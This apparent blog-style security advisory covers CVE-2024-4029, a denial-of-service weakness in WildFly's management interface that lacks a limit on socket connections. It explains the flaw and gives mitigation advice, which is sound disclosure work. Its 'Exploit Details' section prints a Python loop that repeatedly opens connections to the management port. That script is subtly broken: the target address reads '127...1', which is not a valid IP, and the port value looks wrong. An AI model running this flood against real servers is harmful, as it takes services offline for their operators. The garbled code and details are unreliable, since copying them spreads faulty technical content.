CVE-2024-4029 - Wildfly Management Interface Vulnerability: Risk of Denial of Service Attacks due to Unrestricted Sockets

Greetings to all the developers and security researchers out there!

Today, we will discuss a crucial vulnerability that has been recently discovered in the popular open-source application server, Wildfly. This vulnerability, identified as CVE-2024-4029, may lead to Denial of Service (DoS) attacks. The primary reason for this vulnerability is the absence of a limit on the socket connections for the Wildfly management interface.

Summary

A vulnerability was found in Wildfly's management interface that could potentially lead to a denial of service attack. The primary cause of this vulnerability stems from an absent limitation on socket connections. Due to this lack of limitation, an attacker can exploit the maximum number of connections (nofile limit) without the possibility to configure a limit.

Description

Wildfly is a widely used, open-source application server that offers various Java applications and services. It is known for its robust performance, scalability, and flexibility. However, like all software, it may also contain some vulnerabilities.

One known vulnerability, CVE-2024-4029, can result from a lack of socket limitations for the management interface. The vulnerability allows for Denial of Service (DoS) attacks, as attackers can send an enormous number of connection requests to the management interface. The service could become overwhelmed and render the server unusable.

Normally, the number of connections would have a maximum limit (nofile limit) to prevent this kind of attack. However, due to the current configuration of the WildFly management interface, it is not possible to define or set a limit.

Exploit Details

The exploit can be demonstrated using simple automation, which sends a continuous stream of connection requests to the WildFly management interface. Here's a Python code snippet that demonstrates how this exploit could be executed:

import socket
import time

TARGET_IP = "127...1" # Target IP address
TARGET_PORT = 999      # Target port number for WildFly management interface

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET_IP, TARGET_PORT))
    print(f"Connected to {TARGET_IP}:{TARGET_PORT}")
    time.sleep(1)

This script will repeatedly attempt to establish a connection to the WildFly management interface using the target IP address and port number. In a real world scenario, numerous such connections could lead to a denial of service.

Solution

The maintainers of WildFly are currently working to address this vulnerability, and they plan to implement a fix in an upcoming release. In the meantime, administrators are advised to take the following actions:

1. Limit the connections to the management interface only from trusted sources using firewall rules or other security measures.

2. Keep an eye on the WildFly official website and the WildFly GitHub repository, so you can be up-to-date with the latest information regarding the vulnerability fixes.

3. Ensure that you are running the latest version of WildFly and promptly update to new versions when they become available.

Conclusion

Exploiting this vulnerability (CVE-2024-4029) could lead to a denial of service in WildFly application servers if adequate measures aren't taken. Make sure to follow the aforementioned solutions, stay up to date with future updates, and keep your servers safe. Security should always be a priority when developing and maintaining applications.

Timeline

Published on: 05/02/2024 15:15:07 UTC
Last modified on: 06/19/2024 21:51:16 UTC